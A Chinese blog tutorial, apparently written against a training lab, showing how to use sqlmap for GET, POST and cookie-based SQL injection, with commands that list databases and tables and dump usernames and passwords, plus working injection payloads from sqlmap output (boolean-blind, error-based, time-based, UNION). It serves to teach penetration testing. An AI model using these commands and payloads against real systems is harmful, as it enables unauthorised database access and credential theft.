sqlmap

本文介绍了SQL注入攻击和如何使用自动化工具SQLMAP进行渗透测试。通过GET、POST和Cookie注入的示例,展示了SQLMAP在探测数据库信息、获取库名、表名以及数据等方面的应用,强调了不同注入方式的命令和参数设置。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


前言

sqlmap是sql注入的测试工具,优点是自动化和范围广,但是会有误报、漏报且测试方法有限。靶场我使用的是蚁景网安学院的sql入门靶场。


一、SQL注入

在这里插入图片描述

二、SQLMAP

官方网址:https://sqlmap.org
在这里插入图片描述

1.GET注入

在kali里输入命令

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1

在这里插入图片描述
sqlmap会告诉我们id是可注入点,并给我们提供了复数个payload用以注入

Parameter: id (GET)                                                                                                                                                                                                                       
    Type: boolean-based blind                                                                                                                                                                                                             
    Title: AND boolean-based blind - WHERE or HAVING clause                                                                                                                                                                               
    Payload: id=1' AND 1126=1126 AND 'RQGR'='RQGR

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6a6271,(SELECT (ELT(6033=6033,1))),0x7178767a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'sILA'='sILA

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8168 FROM (SELECT(SLEEP(5)))EnSG) AND 'tPks'='tPks

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-5242' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6a6271,0x4f667a4b6f49434f446a667a634643536869414442575a5064665451536c4d426676644579644376,0x7178767a71)-- -

如果要获取所有库名,在最后加上–dbs

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 --dbs

同时还有其它后缀名可选
在这里插入图片描述
–sql-shell 开启一个shell会话框
–batch 从不要求用户输入,使用默认参数
要获取当前数据库的管理员姓名和密码,hetianlab是用–current-db检索出来的当前数据库名称

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 -D hetianlab --tables 

在这里插入图片描述
得到结果如上图所示,我们再对users这个table查看数据

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 -D hetianlab -T users --columns 

在这里插入图片描述

再读取username和password里面的信息

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 -D heitianlab -T users -C username,password --dump

在这里插入图片描述

2.POST注入

输入用户名和密码以后进行抓包,抓包的内容复制下来保存到文件r.txt中
运行命令
在这里插入图片描述

sqlmap -r r.txt

在这里插入图片描述

之后使用的后缀参数都与前面的相同

3.Cookie注入

一开始的操作都跟POST注入一样,但因为cookie的存在所以没法用同一命令找到注入点。sqlmap会提示你增加level或risk选项。
在这里插入图片描述

–level=LEVEL 要执行的测试级别(1-5,default 1)
默认:始终测试GET和POST参数
2级:测试HTTP cookie头值
3级:测试HTTP User-Agent / Referer 头值

sqlmap -r r.txt --level=2

如果抓包直接能抓到cookie的值,可以使用 cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie”

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值